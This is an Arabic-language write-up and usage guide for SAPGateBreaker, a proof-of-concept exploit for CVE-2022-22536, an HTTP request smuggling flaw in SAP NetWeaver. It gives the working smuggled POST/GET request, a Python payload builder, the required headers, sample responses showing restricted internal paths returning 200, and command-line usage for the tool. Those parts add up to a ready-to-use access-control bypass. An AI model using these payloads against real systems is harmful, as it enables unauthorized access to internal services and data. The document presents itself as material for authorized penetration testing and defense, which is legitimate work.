
SAPGateBreaker هو إثبات اختراق (PoC) لثغرة CVE-2022-22536، وهي ثغرة خطيرة من نوع تهريب طلبات HTTP (HTTP Request Smuggling) في SAP NetWeaver. يوضح كيفية تجاوز قوائم التحكم في الوصول (ACLs) عن طريق إلغاء تزامن تحليل الطلبات بين ICM وخدمات الخلفية باستخدام حمولات مصممة تعتمد على Content-Length.
خوادم تطبيقات SAP NetWeaver ABAP، وخوادم تطبيقات SAP NetWeaver Java، ومنصة ABAP، وخادم المحتوى SAP 7.53، وموزع الويب SAP معرضة لخطر تهريب الطلبات ودمجها. يمكن للمهاجم غير الموثق إضافة بيانات عشوائية في بداية طلب الضحية. بهذه الطريقة، يمكن للمهاجم تنفيذ وظائف متقمصًا شخصية الضحية أو تسميم ذاكرة التخزين المؤقت للويب الوسيطة. قد يؤدي الهجوم الناجح إلى اختراق كامل للسرية والسلامة والتوفر للنظام.
SAPGateBreaker هي أداة استغلال PoC لـ CVE-2022-22536، وهي ثغرة أمنية حرجة في تهريب طلبات HTTP في SAP NetWeaver. تثبت الأداة كيفية تجاوز قوائم التحكم في الوصول (ACLs) عن طريق إزالة التزامن في تحليل الطلبات بين ICM والخدمات الخلفية باستخدام حمولات مصممة تعتمد على Content-Length.

تمثل الثغرة الأمنية CVE-2022-22536 عيبًا حرجًا في خادم تطبيقات SAP NetWeaver، مما يعرض التثبيتات لهجمات تهريب طلبات HTTP. تؤثر هذه الثغرة، بدرجة CVSS 9.8، على كل من مجموعات Java وABAP، مما يسمح للمهاجمين بتجاوز آليات التحكم في الوصول والتفاعل مع التطبيقات الداخلية كما لو كانوا على الشبكة الداخلية.
فهم تهريب طلبات HTTP
تهريب طلبات HTTP (HRS) هو تقنية متقدمة تستغل الاختلافات في كيفية تفسير المكونات المختلفة للبنية التحتية للويب (عادةً الوكلاء، وموزعات التحميل، والخوادم الخلفية) لحدود طلبات HTTP. عن طريق التلاعب بالروؤوس مثل Content-Length و Transfer-Encoding، يمكن للمهاجم "تهريب" طلب ضار يكون غير متزامن مع ما يتوقعه الخادم الخلفي.
في جوهر الأمر، عندما يختلف الخادم الأمامي والخادم الخلفي حول مكان انتهاء الطلب الأول وبدء الطلب التالي، يمكن للمهاجم حقن طلب ثانٍ مخفي سيتم معالجته بثقة مرتفعة. يؤدي هذا غالبًا إلى تجاوزات أمنية مثل تجاوز جدار الحماية للويب (WAF)، أو تسميم ذاكرة التخزين المؤقت، أو تجاوز قوائم التحكم في الوصول (ACL).
طبيعة CVE-2022-22536
يقوم مدير الاتصالات بالإنترنت (ICM) في SAP بتحليل طلبات HTTP المصممة بشكل غير صحيح، مما يسمح لطلب مهرب بالوصول إلى الخدمات الداخلية. يكون هذا التأثير كبيرًا بشكل خاص في البنى المجزأة، حيث يكون الوصول المباشر إلى الخدمات الداخلية مقيدًا. يتيح استغلال هذه الثغرة للمهاجمين إصدار طلبات تبدو وكأنها صادرة من الشبكة الداخلية الموثوقة.
تظهر الثغرة عندما تسيء الحمولة استخدام التفسيرات المتضاربة لعلامة نهاية طلب HTTP. يتضمن هذا عادةً حقن رأس Transfer-Encoding: chunked أو التلاعب بحقل Content-Length لإحداث عدم التزامن.
فشل الحمولات الأولية ورفض الترميز المجزأ
أثناء الاختبار، أدت الحمولات التي تستخدم تقنيات التهريب المجزأ التقليدية إلى استجابات 408 Request Timeout من SAP ICM. أشار هذا السلوك إلى أن مكدس HTTP في SAP لا يدعم Transfer-Encoding: chunked بالطريقة المتوقعة، مما يمنع عدم التزامن التقليدي القائم على الترميز المجزأ.
نتيجة لذلك، تحولت منهجية الاستغلال إلى استخدام روؤوس Content-Length لعدم التزامن. نجح طلب مصمم بحمولة مجزأة فارغة متبوعة بطلب HTTP ثانٍ صالح في تجاوز حدود الطلبات. أثبتت هذه الاستراتيجية البديلة فعاليتها في تجاوز ضوابط الوصول الداخلية.
استراتيجية الاستغلال النهائية وتنفيذ الكود
يرسل الاستغلال العامل طلب POST إلى نقطة نهاية عامة (/sap/admin/public/default.html) مع رأس Content-Length، متبوعًا بطلب GET مضمن يهدف للوصول إلى مورد داخلي.
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
Authorization: Basic YTph
Cookie: saplb_*=(J2EE7364720)7364750
Content-Type: application/json
Content-Length: 128
0
GET /sap/bc/webdynpro/sap/appl_soap_management HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Connection: close
يؤدي هذا إلى وصول داخلي ناجح:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
Content-Length: 4465
Content-Type: text/html
Connection: Keep-Alive
يقوم التنفيذ بالتكرار عبر قائمة بعناوين URL داخلية لـ SAP تكون مقيدة عادةً. يتم إجراء مقارنة بين رمز الحالة المستلم عبر الوصول المباشر والرمز المستلم عند الوصول عبر الطلب المهرب. إذا كان الوصول الداخلي يُرجع 200 (بينما يُرجع الوصول المباشر 403 أو 404)، فهذا يشير إلى أن تقنية التهريب نجحت في تجاوز ضوابط الوصول الداخلية.
منطق بناء الحمولة:
def build_smuggled_request(path):
return f"0\r\n\r\nGET {path} HTTP/1.1\r\nHost: 127.0.0.1\r\nX-Forwarded-For: 127.0.0.1\r\nConnection: close\r\n\r\n"
يتم تنفيذ الهجوم باستخدام طلب POST مصمم يحتوي على الحمولة المهربة:
headers = {
"Host": f"{host}:{port}",
"Authorization": "Basic YTph",
"Cookie": "saplb_*=(J2EE7364720)7364750",
"Content-Type": "application/json",
"Content-Length": str(len(body.encode("utf-8")))
}
النتائج المرصودة
في حالات اختبار متعددة، نقاط نهاية مثل /sap/public/bc/icf/info أو /heapdump/، والتي كانت تعود عادةً بـ 403 Forbidden أو 404 Not Found، استجابت بـ 200 OK عند الوصول إليها عبر الطلب المهرب. يوضح هذا تجاوزًا ناجحًا لضوابط الوصول في SAP.
تضمن مخرجات الأداة كلاً من الحمولات المرسلة وروؤس الاستجابة، مما يتيح تحققًا جنائيًا دقيقًا:
>>> Sent Payload:
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
...
>>> Received Response:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
...
الطلب العادي:


طلب الاستغلال:


الاستنتاج
تسلط CVE-2022-22536 الضوء على التهديد المستمر الذي يشكله تهريب طلبات HTTP في مجموعات برامج المؤسسات الحديثة. يعد إثبات المفهوم المقدم توضيحًا للثغرة الأساسية ويعمل كأداة للتحقق واختبار الدفاع.
يُنصح المسؤولون بشدة بتطبيق تحديثات أمان SAP وتنفيذ حماية وكيل عكسي مناسبة لمنع انتشار طلبات HTTP غير الصالحة.
مزيد من التفاصيل حول CVE-2022-22536 موجودة على: https://nvd.nist.gov/vuln/detail/CVE-2022-22536
ملاحظة أمان SAP: https://launchpad.support.sap.com/#/notes/3123396
أداة استغلال SAPGateBreaker
SAPGateBreaker هي أداة Python مستقلة تعمل على أتمتة اختبار CVE-2022-22536، وهي ثغرة تهريب طلبات HTTP حرجة في خادم تطبيقات SAP NetWeaver.
الاستخدام
python3 sapgatebreaker.py -u http://<target-host>:<port> [--verbose]
الوسائط:
-u, --url: عنوان URL الهدف (مثل http://172.32.22.7:50000)-v, --verbose: تفعيل إخراج تفصيلي للروؤس والمحتوى لكل طلب واستجابةالميزات:
poc.txt لمزيد من التحليلإخلاء مسؤولية
هذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق المصرح به فقط. الاستخدام غير المصرح به ضد الأنظمة دون إذن صريح محظور تمامًا وقد ينتهك القوانين المعمول بها.